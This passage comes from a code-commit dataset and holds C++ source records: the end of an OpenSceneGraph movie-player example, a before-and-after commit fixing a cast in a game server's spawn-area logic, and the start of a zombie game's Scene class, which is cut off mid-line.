itr!=_imageStreamList.end();\n ++itr)\n {\n std::cout<<\"Play\"<<std::endl;\n (*itr)->play();\n }\n return true;\n }\n else if (ea.getKey()=='p')\n {\n for(ImageStreamList::iterator itr=_imageStreamList.begin();\n itr!=_imageStreamList.end();\n ++itr)\n {\n std::cout<<\"Pause\"<<std::endl;\n (*itr)->pause();\n }\n return true;\n }\n else if (ea.getKey()=='r')\n {\n return true;\n }\n else if (ea.getKey()=='l')\n {\n return true;\n }\n return false;\n }\n\n default:\n return false;\n }\n}\n\nvoid MovieEventHandler::getUsage(osg::ApplicationUsage& usage) const\n{\n usage.addKeyboardMouseBinding(\"p\",\"Pause movie\");\n usage.addKeyboardMouseBinding(\"s\",\"Play movie\");\n usage.addKeyboardMouseBinding(\"r\",\"Start movie\");\n usage.addKeyboardMouseBinding(\"l\",\"Toggle looping of movie\");\n}\n\n\nosg::Geometry* createTexturedQuadGeometry(const osg::Vec3& pos,float width,float height, osg::Image* image, bool useTextureRectangle)\n{\n if (useTextureRectangle)\n {\n osg::Geometry* pictureQuad = createTexturedQuadGeometry(pos,\n osg::Vec3(width,0.0f,0.0f),\n osg::Vec3(0.0f,0.0f,height),\n 0.0f,image->t(), image->s(),0.0f);\n\n pictureQuad->getOrCreateStateSet()->setTextureAttributeAndModes(0,\n new osg::TextureRectangle(image),\n osg::StateAttribute::ON);\n \n return pictureQuad;\n }\n else\n {\n osg::Geometry* pictureQuad = createTexturedQuadGeometry(pos,\n osg::Vec3(width,0.0f,0.0f),\n osg::Vec3(0.0f,0.0f,height),\n 0.0f,1.0f, 1.0f,0.0f);\n \n osg::Texture2D* texture = new osg::Texture2D(image);\n texture->setFilter(osg::Texture::MIN_FILTER,osg::Texture::LINEAR); \n \n pictureQuad->getOrCreateStateSet()->setTextureAttributeAndModes(0,\n texture,\n osg::StateAttribute::ON);\n\n return pictureQuad;\n }\n}\n\nint main(int argc, char** argv)\n{\n \/\/ use an ArgumentParser object to manage the program arguments.\n osg::ArgumentParser arguments(&argc,argv);\n \n \/\/ set up the usage document, in case we need to print out how to use this program.\n arguments.getApplicationUsage()->setApplicationName(arguments.getApplicationName());\n arguments.getApplicationUsage()->setDescription(arguments.getApplicationName()+\" is the standard OpenSceneGraph example which loads and visualises 3d models.\");\n arguments.getApplicationUsage()->setCommandLineUsage(arguments.getApplicationName()+\" [options] filename ...\");\n arguments.getApplicationUsage()->addCommandLineOption(\"-h or --help\",\"Display this information\");\n \n bool useTextureRectangle = true;\n bool useShader = false;\n\n \/\/ construct the viewer.\n osgProducer::Viewer viewer(arguments);\n \n while (arguments.read(\"--texture2D\")) useTextureRectangle=false;\n while (arguments.read(\"--shader\")) useShader=true;\n\n \/\/ set up the value with sensible default event handlers.\n viewer.setUpViewer(osgProducer::Viewer::STANDARD_SETTINGS);\n\n \/\/ register the handler to add keyboard and mosue handling.\n MovieEventHandler* meh = new MovieEventHandler();\n viewer.getEventHandlerList().push_front(meh);\n\n\n \/\/ get details on keyboard and mouse bindings used by the viewer.\n viewer.getUsage(*arguments.getApplicationUsage());\n\n \/\/ if user request help write it out to cout.\n if (arguments.read(\"-h\") || arguments.read(\"--help\"))\n {\n arguments.getApplicationUsage()->write(std::cout);\n return 1;\n }\n\n osg::ref_ptr<osg::Geode> geode = new osg::Geode;\n osg::Vec3 pos(0.0f,0.0f,0.0f);\n \n osg::StateSet* stateset = geode->getOrCreateStateSet();\n stateset->setMode(GL_LIGHTING,osg::StateAttribute::OFF);\n\n if (useShader)\n {\n \/\/useTextureRectangle = false;\n \n static const char *shaderSourceTextureRec = {\n \"uniform vec4 cutoff_color;\\n\"\n \"uniform samplerRect movie_texture;\\n\"\n \"void main(void)\\n\"\n \"{\\n\"\n \" vec4 texture_color = textureRect(movie_texture, gl_TexCoord[0]); \\n\"\n \" if (all(lessThanEqual(texture_color,cutoff_color))) discard; \\n\"\n \" gl_FragColor = texture_color;\\n\"\n \"}\\n\"\n };\n\n static const char *shaderSourceTexture2D = {\n \"uniform vec4 cutoff_color;\\n\"\n \"uniform sampler2D movie_texture;\\n\"\n \"void main(void)\\n\"\n \"{\\n\"\n \" vec4 texture_color = texture2D(movie_texture, gl_TexCoord[0]); \\n\"\n \" if (all(lessThanEqual(texture_color,cutoff_color))) discard; \\n\"\n \" gl_FragColor = texture_color;\\n\"\n \"}\\n\"\n };\n\n osg::Program* program = new osg::Program;\n \n program->addShader(new osg::Shader(osg::Shader::FRAGMENT,\n useTextureRectangle ? shaderSourceTextureRec : shaderSourceTexture2D));\n\n stateset->addUniform(new osg::Uniform(\"cutoff_color\",osg::Vec4(0.1f,0.1f,0.1f,1.0f)));\n stateset->addUniform(new osg::Uniform(\"movie_texture\",0));\n\n stateset->setAttribute(program);\n\n }\n\n\n for(int i=1;i<arguments.argc();++i)\n {\n if (arguments.isString(i))\n {\n osg::Image* image = osgDB::readImageFile(arguments[i]);\n osg::ImageStream* imagestream = dynamic_cast<osg::ImageStream*>(image);\n if (imagestream) imagestream->play();\n \n if (image)\n {\n geode->addDrawable(createTexturedQuadGeometry(pos,image->s(),image->t(),image, useTextureRectangle));\n \n pos.z() += image->t()*1.5f;\n }\n else\n {\n std::cout<<\"Unable to read file \"<<arguments[i]<<std::endl;\n } \n }\n }\n \n if (geode->getNumDrawables()==0)\n {\n \/\/ nothing loaded.\n return 1;\n }\n\n \/\/ pass the model to the MovieEventHandler so it can pick out ImageStream's to manipulate.\n meh->set(geode.get());\n\n \/\/ report any errors if they have occured when parsing the program aguments.\n if (arguments.errors())\n {\n arguments.writeErrorMessages(std::cout);\n return 1;\n }\n \n if (arguments.argc()<=1)\n {\n arguments.getApplicationUsage()->write(std::cout,osg::ApplicationUsage::COMMAND_LINE_OPTION);\n return 1;\n }\n\n\n \/\/ any option left unread are converted into errors to write out later.\n arguments.reportRemainingOptionsAsUnrecognized();\n\n \/\/ report any errors if they have occured when parsing the program aguments.\n if (arguments.errors())\n {\n arguments.writeErrorMessages(std::cout);\n }\n\/*\n \/\/ set up a post swap callback to flush deleted GL objects and compile new GL objects \n for(unsigned int cameraNum=0;cameraNum<viewer.getNumberOfCameras();++cameraNum)\n {\n Producer::Camera* camera=viewer.getCamera(cameraNum);\n camera->addPostSwapCallback(new PostSwapFinishCallback());\n }\n*\/\n \/\/ set the scene to render\n viewer.setSceneData(geode.get());\n\n \/\/ create the windows and run the threads.\n viewer.realize();\n\n while( !viewer.done() )\n {\n \/\/ wait for all cull and draw threads to complete.\n viewer.sync();\n \n \/\/ update the scene by traversing it with the the update visitor which will\n \/\/ call all node update callbacks and animations.\n viewer.update();\n \n \/\/ fire off the cull and draw traversals of the scene.\n viewer.frame();\n \n }\n \n \/\/ wait for all cull and draw threads to complete before exit.\n viewer.sync();\n\n return 0;\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * SpawnAreaImplementation.cpp\n *\n * Created on: 11\/12\/2011\n * Author: victor\n *\/\n\n#include \"server\/zone\/objects\/area\/SpawnArea.h\"\n#include \"server\/zone\/Zone.h\"\n#include \"server\/zone\/managers\/creature\/CreatureManager.h\"\n#include \"server\/zone\/managers\/creature\/CreatureTemplateManager.h\"\n#include \"server\/zone\/managers\/creature\/SpawnGroup.h\"\n#include \"server\/zone\/managers\/collision\/CollisionManager.h\"\n#include \"server\/zone\/managers\/planet\/PlanetManager.h\"\n#include \"server\/zone\/objects\/area\/SpawnAreaObserver.h\"\n#include \"server\/zone\/objects\/area\/areashapes\/AreaShape.h\"\n#include \"server\/ServerCore.h\"\n#include \"events\/RemoveNoSpawnAreaTask.h\"\n\nVector3 SpawnAreaImplementation::getRandomPosition(SceneObject* player) {\n\tVector3 position;\n\tbool positionFound = false;\n\tint retries = 10;\n\n\twhile (!positionFound && retries-- > 0) {\n\t\tposition = areaShape->getRandomPosition(player->getWorldPosition(), 64.0f, 256.0f);\n\n\t\tpositionFound = true;\n\n\t\tfor (int i = 0; i < noSpawnAreas.size(); ++i) {\n\t\t\tSpawnArea* noSpawnArea = noSpawnAreas.get(i);\n\n\t\t\tif (noSpawnArea->containsPoint(position.getX(), position.getY())) {\n\t\t\t\tpositionFound = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!positionFound) {\n\t\tposition.set(0, 0, 0);\n\t}\n\n\treturn position;\n}\n\nint SpawnAreaImplementation::notifyObserverEvent(unsigned int eventType, Observable* observable, ManagedObject* arg1, int64 arg2) {\n\tif (eventType != ObserverEventType::OBJECTREMOVEDFROMZONE)\n\t\treturn 1;\n\n\tTangibleObject* tano = dynamic_cast<TangibleObject*>(observable);\n\n\tif (tano == NULL)\n\t\treturn 1;\n\n\tLocker locker(_this.get());\n\n\tuint32 lairTemplate = spawnTypes.remove(tano->getObjectID());\n\n\tif (lairTemplate != 0) {\n\t\tint currentSpawnCount = spawnCountByType.get(lairTemplate) - 1;\n\n\t\tif (currentSpawnCount < 1)\n\t\t\tspawnCountByType.remove(lairTemplate);\n\t\telse\n\t\t\tspawnCountByType.put(lairTemplate, currentSpawnCount);\n\n\t\t--totalSpawnCount;\n\n\t\tlocker.release();\n\n\t\tManagedReference<ActiveArea*> area = (ServerCore::getZoneServer()->createObject(String(\"object\/active_area.iff\").hashCode(), 0)).castTo<ActiveArea*>();\n\n\t\tarea->setRadius(64);\n\t\tarea->setNoSpawnArea(true);\n\t\tarea->initializePosition(tano->getPositionX(), tano->getPositionZ(), tano->getPositionY());\n\n\t\tzone->transferObject(area, -1, true);\n\n\t\tReference<Task*> task = new RemoveNoSpawnAreaTask(area);\n\t\ttask->schedule(300000);\n\t}\n\n\treturn 1;\n}\n\nSpawnGroup* SpawnAreaImplementation::getSpawnGroup() {\n\tif (spawnGroup == NULL && spawnGroupTemplateCRC != 0)\n\t\tspawnGroup = CreatureTemplateManager::instance()->getSpawnGroup(spawnGroupTemplateCRC);\n\n\treturn spawnGroup;\n}\n\nvoid SpawnAreaImplementation::notifyEnter(SceneObject* object) {\n\tif (tier & SpawnAreaMap::NOSPAWNAREA) {\n\t\tActiveAreaImplementation::notifyEnter(object);\n\t\treturn;\n\t}\n\n\tif (!object->isPlayerCreature())\n\t\treturn;\n\n\tManagedReference<SceneObject*> parent = object->getParent();\n\n\tif (parent != NULL && parent->isCellObject())\n\t\treturn;\n\n\tif (object->getCityRegion() != NULL)\n\t\treturn;\n\n\ttryToSpawn(object);\n}\n\nvoid SpawnAreaImplementation::notifyPositionUpdate(QuadTreeEntry* obj) {\n\tif (tier & SpawnAreaMap::NOSPAWNAREA)\n\t\treturn;\n\n\tCreatureObject* creature = dynamic_cast<CreatureObject*>(obj);\n\n\tif (creature == NULL)\n\t\treturn;\n\n\tif (!creature->isPlayerCreature())\n\t\treturn;\n\n\tManagedReference<SceneObject*> parent = creature->getParent();\n\n\tif (parent != NULL && parent->isCellObject())\n\t\treturn;\n\n\tif (System::random(25) == 1)\n\t\ttryToSpawn(creature);\n}\n\nvoid SpawnAreaImplementation::notifyExit(SceneObject* object) {\n\tif (tier & SpawnAreaMap::NOSPAWNAREA)\n\t\tActiveAreaImplementation::notifyExit(object);\n}\n\nint SpawnAreaImplementation::tryToSpawn(SceneObject* object) {\n\tif (spawnGroup == NULL && spawnGroupTemplateCRC != 0)\n\t\tspawnGroup = CreatureTemplateManager::instance()->getSpawnGroup(spawnGroupTemplateCRC);\n\n\tif (spawnGroup == NULL) {\n\t\terror(\"spawnGroup is NULL in spawn area: \" + getDisplayedName());\n\t\treturn 1;\n\t}\n\n\tVector<Reference<LairSpawn*> >* lairs = spawnGroup->getSpawnList();\n\n\tint totalSize = lairs->size();\n\n\tif (totalSize == 0) {\n\t\terror(\"totalSize is NULL\");\n\t\treturn 2;\n\t}\n\n\tZone* zone = getZone();\n\n\tif (zone == NULL) {\n\t\terror(\"zone is NULL\");\n\t\treturn 3;\n\t}\n\n\tif (totalSpawnCount >= maxSpawnLimit)\n\t\treturn 4;\n\n\tif (lastSpawn.miliDifference() < MINSPAWNINTERVAL)\n\t\treturn 5;\n\n\t\/\/Lets choose 3 random spawns;\n\tLairSpawn* firstSpawn = lairs->get(System::random(totalSize - 1));\n\tLairSpawn* secondSpawn = lairs->get(System::random(totalSize - 1));\n\tLairSpawn* thirdSpawn = lairs->get(System::random(totalSize - 1));\n\n\tLairSpawn* finalSpawn = NULL;\n\n\tint totalWeights = firstSpawn->getWeighting() + secondSpawn->getWeighting() + thirdSpawn->getWeighting();\n\n\tint finalChoice = System::random(totalWeights);\n\n\tif (finalChoice <= firstSpawn->getWeighting()) {\n\t\tfinalSpawn = firstSpawn;\n\t} else if (finalChoice <= firstSpawn->getWeighting() + secondSpawn->getWeighting()) {\n\t\tfinalSpawn = secondSpawn;\n\t} else {\n\t\tfinalSpawn = thirdSpawn;\n\t}\n\n\tManagedReference<PlanetManager*> planetManager = zone->getPlanetManager();\n\n\tVector3 randomPosition = getRandomPosition(object);\n\n\tif (randomPosition.getX() == 0 && randomPosition.getY() == 0) {\n\t\treturn 6;\n\t}\n\n\tfloat spawnZ = zone->getHeight(randomPosition.getX(), randomPosition.getY());\n\n\trandomPosition.setZ(spawnZ);\n\n\t\/\/lets check if we intersect with some object (buildings, etc..)\n\tif (CollisionManager::checkSphereCollision(randomPosition, 64.f + finalSpawn->getSize(), zone))\n\t\treturn 7;\n\n\t\/\/don't spawn in cities\n\tSortedVector<ManagedReference<ActiveArea* > > activeAreas;\n\tzone->getInRangeActiveAreas(randomPosition.getX(), randomPosition.getY(), &activeAreas, true);\n\n\tfor (int i = 0; i < activeAreas.size(); ++i) {\n\t\tActiveArea* area = activeAreas.get(i);\n\n\t\tif (area->isRegion() || area->isMunicipalZone() || area->isNoSpawnArea())\n\t\t\treturn 8;\n\t}\n\n\t\/\/check in range objects for no build radi\n\tif (!planetManager->isBuildingPermittedAt(randomPosition.getX(), randomPosition.getY(), object, finalSpawn->getSize() + 64.f)) {\n\t\treturn 9;\n\t}\n\n\t\/\/ Only spawn on relatively flat land\n\tif (planetManager->getTerrainManager()->getHighestHeightDifference(randomPosition.getX() - 10, randomPosition.getY() - 10, randomPosition.getX() + 10, randomPosition.getY() + 10) > 10.0) {\n\t\treturn 13;\n\t}\n\n\tint spawnLimit = finalSpawn->getSpawnLimit();\n\n\tLocker _locker(_this.get());\n\n\tlastSpawn.updateToCurrentTime();\n\n\tString lairTemplate = finalSpawn->getLairTemplateName();\n\tuint32 lairHashCode = lairTemplate.hashCode();\n\n\tint currentSpawnCount = spawnCountByType.get(lairHashCode);\n\n\tif (spawnLimit != -1) {\n\t\tif (currentSpawnCount >= spawnLimit)\n\t\t\treturn 10;\n\t}\n\n\tint maxDiff = finalSpawn->getMaxDifficulty();\n\tint minDiff = finalSpawn->getMinDifficulty();\n\tint difficultyLevel = System::random(maxDiff - minDiff) + minDiff;\n\tint difficulty = (difficultyLevel - minDiff) \/ ((maxDiff > (minDiff + 5) ? maxDiff - minDiff : 5) \/ 5);\n\n\tif (difficulty == 5)\n\t\tdifficulty = 4;\n\n\tCreatureManager* creatureManager = zone->getCreatureManager();\n\n\tManagedReference<SceneObject*> obj = creatureManager->spawn(lairHashCode, difficultyLevel, difficulty, randomPosition.getX(), spawnZ, randomPosition.getY(), finalSpawn->getSize());\n\n\tif (obj != NULL) {\n\t\tStringBuffer msg;\n\t\tmsg << \"lair spawned at \" << obj->getPositionX() << \" \" << obj->getPositionY();\n\t\tobj->info(msg.toString());\n\t} else {\n\t\terror(\"could not spawn lair \" + lairTemplate);\n\n\t\treturn 11;\n\t}\n\n\tif (exitObserver == NULL) {\n\t\texitObserver = new SpawnAreaObserver(_this.get());\n\t\texitObserver->deploy();\n\t}\n\n\tspawnTypes.put(obj->getObjectID(), lairHashCode);\n\n\tLocker objLocker(obj);\n\n\tobj->registerObserver(ObserverEventType::OBJECTREMOVEDFROMZONE, exitObserver);\n\n\t++totalSpawnCount;\n\n\tspawnCountByType.put(lairTemplate.hashCode(), currentSpawnCount);\n\n\treturn 0;\n}\n<commit_msg>[Fixed] removal of dynamic spawn from a spawn area not being handled properly<commit_after>\/*\n * SpawnAreaImplementation.cpp\n *\n * Created on: 11\/12\/2011\n * Author: victor\n *\/\n\n#include \"server\/zone\/objects\/area\/SpawnArea.h\"\n#include \"server\/zone\/Zone.h\"\n#include \"server\/zone\/managers\/creature\/CreatureManager.h\"\n#include \"server\/zone\/managers\/creature\/CreatureTemplateManager.h\"\n#include \"server\/zone\/managers\/creature\/SpawnGroup.h\"\n#include \"server\/zone\/managers\/collision\/CollisionManager.h\"\n#include \"server\/zone\/managers\/planet\/PlanetManager.h\"\n#include \"server\/zone\/objects\/area\/SpawnAreaObserver.h\"\n#include \"server\/zone\/objects\/area\/areashapes\/AreaShape.h\"\n#include \"server\/ServerCore.h\"\n#include \"events\/RemoveNoSpawnAreaTask.h\"\n\nVector3 SpawnAreaImplementation::getRandomPosition(SceneObject* player) {\n\tVector3 position;\n\tbool positionFound = false;\n\tint retries = 10;\n\n\twhile (!positionFound && retries-- > 0) {\n\t\tposition = areaShape->getRandomPosition(player->getWorldPosition(), 64.0f, 256.0f);\n\n\t\tpositionFound = true;\n\n\t\tfor (int i = 0; i < noSpawnAreas.size(); ++i) {\n\t\t\tSpawnArea* noSpawnArea = noSpawnAreas.get(i);\n\n\t\t\tif (noSpawnArea->containsPoint(position.getX(), position.getY())) {\n\t\t\t\tpositionFound = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!positionFound) {\n\t\tposition.set(0, 0, 0);\n\t}\n\n\treturn position;\n}\n\nint SpawnAreaImplementation::notifyObserverEvent(unsigned int eventType, Observable* observable, ManagedObject* arg1, int64 arg2) {\n\tif (eventType != ObserverEventType::OBJECTREMOVEDFROMZONE)\n\t\treturn 1;\n\n\tSceneObject* sceno = dynamic_cast<SceneObject*>(observable);\n\n\tif (sceno == NULL)\n\t\treturn 1;\n\n\tLocker locker(_this.get());\n\n\tuint32 lairTemplate = spawnTypes.remove(sceno->getObjectID());\n\n\tif (lairTemplate != 0) {\n\t\tint currentSpawnCount = spawnCountByType.get(lairTemplate) - 1;\n\n\t\tif (currentSpawnCount < 1)\n\t\t\tspawnCountByType.remove(lairTemplate);\n\t\telse\n\t\t\tspawnCountByType.put(lairTemplate, currentSpawnCount);\n\n\t\t--totalSpawnCount;\n\n\t\tlocker.release();\n\n\t\tManagedReference<ActiveArea*> area = (ServerCore::getZoneServer()->createObject(String(\"object\/active_area.iff\").hashCode(), 0)).castTo<ActiveArea*>();\n\n\t\tarea->setRadius(64);\n\t\tarea->setNoSpawnArea(true);\n\t\tarea->initializePosition(sceno->getPositionX(), sceno->getPositionZ(), sceno->getPositionY());\n\n\t\tzone->transferObject(area, -1, true);\n\n\t\tReference<Task*> task = new RemoveNoSpawnAreaTask(area);\n\t\ttask->schedule(300000);\n\t}\n\n\treturn 1;\n}\n\nSpawnGroup* SpawnAreaImplementation::getSpawnGroup() {\n\tif (spawnGroup == NULL && spawnGroupTemplateCRC != 0)\n\t\tspawnGroup = CreatureTemplateManager::instance()->getSpawnGroup(spawnGroupTemplateCRC);\n\n\treturn spawnGroup;\n}\n\nvoid SpawnAreaImplementation::notifyEnter(SceneObject* object) {\n\tif (tier & SpawnAreaMap::NOSPAWNAREA) {\n\t\tActiveAreaImplementation::notifyEnter(object);\n\t\treturn;\n\t}\n\n\tif (!object->isPlayerCreature())\n\t\treturn;\n\n\tManagedReference<SceneObject*> parent = object->getParent();\n\n\tif (parent != NULL && parent->isCellObject())\n\t\treturn;\n\n\tif (object->getCityRegion() != NULL)\n\t\treturn;\n\n\ttryToSpawn(object);\n}\n\nvoid SpawnAreaImplementation::notifyPositionUpdate(QuadTreeEntry* obj) {\n\tif (tier & SpawnAreaMap::NOSPAWNAREA)\n\t\treturn;\n\n\tCreatureObject* creature = dynamic_cast<CreatureObject*>(obj);\n\n\tif (creature == NULL)\n\t\treturn;\n\n\tif (!creature->isPlayerCreature())\n\t\treturn;\n\n\tManagedReference<SceneObject*> parent = creature->getParent();\n\n\tif (parent != NULL && parent->isCellObject())\n\t\treturn;\n\n\tif (System::random(25) == 1)\n\t\ttryToSpawn(creature);\n}\n\nvoid SpawnAreaImplementation::notifyExit(SceneObject* object) {\n\tif (tier & SpawnAreaMap::NOSPAWNAREA)\n\t\tActiveAreaImplementation::notifyExit(object);\n}\n\nint SpawnAreaImplementation::tryToSpawn(SceneObject* object) {\n\tif (spawnGroup == NULL && spawnGroupTemplateCRC != 0)\n\t\tspawnGroup = CreatureTemplateManager::instance()->getSpawnGroup(spawnGroupTemplateCRC);\n\n\tif (spawnGroup == NULL) {\n\t\terror(\"spawnGroup is NULL in spawn area: \" + getDisplayedName());\n\t\treturn 1;\n\t}\n\n\tVector<Reference<LairSpawn*> >* lairs = spawnGroup->getSpawnList();\n\n\tint totalSize = lairs->size();\n\n\tif (totalSize == 0) {\n\t\terror(\"totalSize is NULL\");\n\t\treturn 2;\n\t}\n\n\tZone* zone = getZone();\n\n\tif (zone == NULL) {\n\t\terror(\"zone is NULL\");\n\t\treturn 3;\n\t}\n\n\tif (totalSpawnCount >= maxSpawnLimit)\n\t\treturn 4;\n\n\tif (lastSpawn.miliDifference() < MINSPAWNINTERVAL)\n\t\treturn 5;\n\n\t\/\/Lets choose 3 random spawns;\n\tLairSpawn* firstSpawn = lairs->get(System::random(totalSize - 1));\n\tLairSpawn* secondSpawn = lairs->get(System::random(totalSize - 1));\n\tLairSpawn* thirdSpawn = lairs->get(System::random(totalSize - 1));\n\n\tLairSpawn* finalSpawn = NULL;\n\n\tint totalWeights = firstSpawn->getWeighting() + secondSpawn->getWeighting() + thirdSpawn->getWeighting();\n\n\tint finalChoice = System::random(totalWeights);\n\n\tif (finalChoice <= firstSpawn->getWeighting()) {\n\t\tfinalSpawn = firstSpawn;\n\t} else if (finalChoice <= firstSpawn->getWeighting() + secondSpawn->getWeighting()) {\n\t\tfinalSpawn = secondSpawn;\n\t} else {\n\t\tfinalSpawn = thirdSpawn;\n\t}\n\n\tManagedReference<PlanetManager*> planetManager = zone->getPlanetManager();\n\n\tVector3 randomPosition = getRandomPosition(object);\n\n\tif (randomPosition.getX() == 0 && randomPosition.getY() == 0) {\n\t\treturn 6;\n\t}\n\n\tfloat spawnZ = zone->getHeight(randomPosition.getX(), randomPosition.getY());\n\n\trandomPosition.setZ(spawnZ);\n\n\t\/\/lets check if we intersect with some object (buildings, etc..)\n\tif (CollisionManager::checkSphereCollision(randomPosition, 64.f + finalSpawn->getSize(), zone))\n\t\treturn 7;\n\n\t\/\/don't spawn in cities\n\tSortedVector<ManagedReference<ActiveArea* > > activeAreas;\n\tzone->getInRangeActiveAreas(randomPosition.getX(), randomPosition.getY(), &activeAreas, true);\n\n\tfor (int i = 0; i < activeAreas.size(); ++i) {\n\t\tActiveArea* area = activeAreas.get(i);\n\n\t\tif (area->isRegion() || area->isMunicipalZone() || area->isNoSpawnArea())\n\t\t\treturn 8;\n\t}\n\n\t\/\/check in range objects for no build radi\n\tif (!planetManager->isBuildingPermittedAt(randomPosition.getX(), randomPosition.getY(), object, finalSpawn->getSize() + 64.f)) {\n\t\treturn 9;\n\t}\n\n\t\/\/ Only spawn on relatively flat land\n\tif (planetManager->getTerrainManager()->getHighestHeightDifference(randomPosition.getX() - 10, randomPosition.getY() - 10, randomPosition.getX() + 10, randomPosition.getY() + 10) > 10.0) {\n\t\treturn 13;\n\t}\n\n\tint spawnLimit = finalSpawn->getSpawnLimit();\n\n\tLocker _locker(_this.get());\n\n\tlastSpawn.updateToCurrentTime();\n\n\tString lairTemplate = finalSpawn->getLairTemplateName();\n\tuint32 lairHashCode = lairTemplate.hashCode();\n\n\tint currentSpawnCount = spawnCountByType.get(lairHashCode);\n\n\tif (spawnLimit != -1) {\n\t\tif (currentSpawnCount >= spawnLimit)\n\t\t\treturn 10;\n\t}\n\n\tint maxDiff = finalSpawn->getMaxDifficulty();\n\tint minDiff = finalSpawn->getMinDifficulty();\n\tint difficultyLevel = System::random(maxDiff - minDiff) + minDiff;\n\tint difficulty = (difficultyLevel - minDiff) \/ ((maxDiff > (minDiff + 5) ? maxDiff - minDiff : 5) \/ 5);\n\n\tif (difficulty == 5)\n\t\tdifficulty = 4;\n\n\tCreatureManager* creatureManager = zone->getCreatureManager();\n\n\tManagedReference<SceneObject*> obj = creatureManager->spawn(lairHashCode, difficultyLevel, difficulty, randomPosition.getX(), spawnZ, randomPosition.getY(), finalSpawn->getSize());\n\n\tif (obj != NULL) {\n\t\tStringBuffer msg;\n\t\tmsg << \"lair spawned at \" << obj->getPositionX() << \" \" << obj->getPositionY();\n\t\tobj->info(msg.toString());\n\t} else {\n\t\terror(\"could not spawn lair \" + lairTemplate);\n\n\t\treturn 11;\n\t}\n\n\tif (exitObserver == NULL) {\n\t\texitObserver = new SpawnAreaObserver(_this.get());\n\t\texitObserver->deploy();\n\t}\n\n\tspawnTypes.put(obj->getObjectID(), lairHashCode);\n\n\tLocker objLocker(obj);\n\n\tobj->registerObserver(ObserverEventType::OBJECTREMOVEDFROMZONE, exitObserver);\n\n\t++totalSpawnCount;\n\n\tspawnCountByType.put(lairTemplate.hashCode(), currentSpawnCount);\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Scene.h\"\n\nScene::Scene(void)\n{\n\tview_matrix = glm::lookAt(glm::vec3(0.f, 0.f, 0.f), glm::vec3(0.f, 0.f, -1.f), glm::vec3(0.f, 1.f, 0.f));\n\tmemset(&KeyStates, 0, sizeof(KeyStates));\n\t\/\/ Init Player\n\tplayer = new Player(this, 0.0f, 0.0f);\n\n\tbool game = true;\n\tint score = 0;\n\n\t\/\/ Init Objects\t\n\tAddObstacle(new Obstacle(this, 15.0, 15.0, 7.00));\n\tAddObstacle(new Obstacle(this, -12.0, -17.0, 9.00));\n\tAddObstacle(new Obstacle(this, 12.0, -6.0, 5.00));\n\tAddObstacle(new Obstacle(this, -16.0, 15.0, 6.00));\n\n\tfor (unsigned int i = 0; i < 10; ++i) AddZombie(new Zombie(this));\n\n}\n\nScene::~Scene(void)\n{\n\tif (player != 0) delete player;\n\t\/\/if (test_zombie != 0) delete test_zombie;\n\tfor (int i = 0; i < objects.size(); i++){\n\t\tif (objects[i] != 0) delete objects[i];\n\t}\n\n}\n\nbool Scene::CheckVictoryCondition(void)\n{\n\tint z = zombies.size();\n\tgame = true;\n\tfor(unsigned int i=0; i<zombies.size(); ++i)\n\t{\n\t\tif(GetDistance(player->GetObjectPosition(), zombies[i]->GetObjectPosition()) < 2)\n\t\t{\n\t\t\tgame = false;\n\t\t\tcout << \"PRZEGRALES!\" << endl;\n\t\t}\n\t\tif (GetDistance(player->GetObjectPosition(), zombies[i]->GetObjectPosition()) > 200) --z;\n\t}\n\t\n\tif(z == 0)\n\t{\n\t\tgame = false;\n\t\tcout << \"WYGRALES!\" << endl;\n\t}\n\n\treturn game;\n}\n\nvoid Scene::Update(double delta_time)\n{\n\tif (CheckVictoryCondition()){\n\n\t\tGroupZombies();\n\t\tfor (unsigned int i = 0; i < objects.size(); i++)\n\t\t{\n\t\t\tobjects[i]->Update(delta_time);\n\t\t}\n\t\n\t\tif (KeyStates['w'] || KeyStates['W']) player->Move(glm::vec2(0, 0.3), delta_time);\n\t\tif (KeyStates['s'] || KeyStates['S']) player->Move(glm::vec2(0, -0.3), delta_time);\n\t\tif (KeyStates['a'] || KeyStates['A']) player->Move(glm::vec2(-0.3, 0), delta_time);\n\t\tif (KeyStates['d'] || KeyStates['D']) player->Move(glm::vec2(0.3, 0), delta_time);\n\t\n\t\tplayer->Update(delta_time);\n\t}\n\n\t\/\/if (KeyStates['r'] || KeyStates['R']) Restart();\n}\n\nvoid Scene::Draw(void)\n{\n\tplayer->Draw();\n\tfor(unsigned int i = 0; i < objects.size(); i++)\n\t{\n\t\tobjects[i]->Draw();\n\t}\n\t\n}\n\nvoid Scene::PlayerRotate(glm::vec2 heading)\n{\n\tplayer->Rotate(heading);\n\t\n}\n\nvoid Scene::PlayerShoot(glm::vec2 aim)\n{\n\tplayer->Shoot(aim);\n}\n\nvoid Scene::ZombieTarget(glm::vec2 target)\n{\n\ttest_zombie->MousePoint(target);\n}\n\nvoid Scene::Key(unsigned char key)\n{\n\tif (KeyStates['r']) test_zombie->RandomPoint();\n}\n\nvoid Scene::KeyState(unsigned char key, bool tf)\n{\n\tKeyStates[key] = tf;\n}\n\nvoid Scene::AddObject(GameEntity *entity)\n{\n\tobjects.push_back(entity);\n}\nvoid Scene::AddZombie(Zombie *entity)\n{\n\tzombies.push_back(entity);\n\tobjects.push_back(entity);\n}\nvoid Scene::AddObstacle(Obstacle *entity)\n{\n\tobstacles.push_back(entity);\n\tobjects.push_back(entity);\n}\n\nvoid Scene::GroupZombies(void)\n{\n\n}\n\nostream& operator<<(ostream &o, const Scene &gw)\n{\n\to << \"---------------- SCENE ---------------\" << \"\\n\";\n\n\to << \"--------------------------------------\" << endl;\n\treturn o;\n}\n<commit_msg>Update<commit_after>#include \"Scene.h\"\n\nScene::Scene(void)\n{\n\tview_matrix = glm::lookAt(glm::vec3(0.f, 0.f, 0.f), glm::vec3(0.f, 0.f, -1.f), glm::vec3(0.f, 1.f, 0.f));\n\tmemset(&KeyStates, 0, sizeof(KeyStates));\n\t\/\/ Init Player\n\tplayer = new Player(this, 0.0f, 0.0f);\n\n\tbool game = true;\n\tint score = 0;\n\n\t\/\/ Init Objects\t\n\tAddObstacle(new Obstacle(this, 15.0, 15.0, 7.00));\n\tAddObstacle(new Obstacle(this, -12.0, -17.0, 9.00));\n\tAddObstacle(new Obstacle(this, 12.0, -6.0, 5.00));\n\tAddObstacle(new Obstacle(this, -16.0, 15.0, 6.00));\n\n\tfor (unsigned int 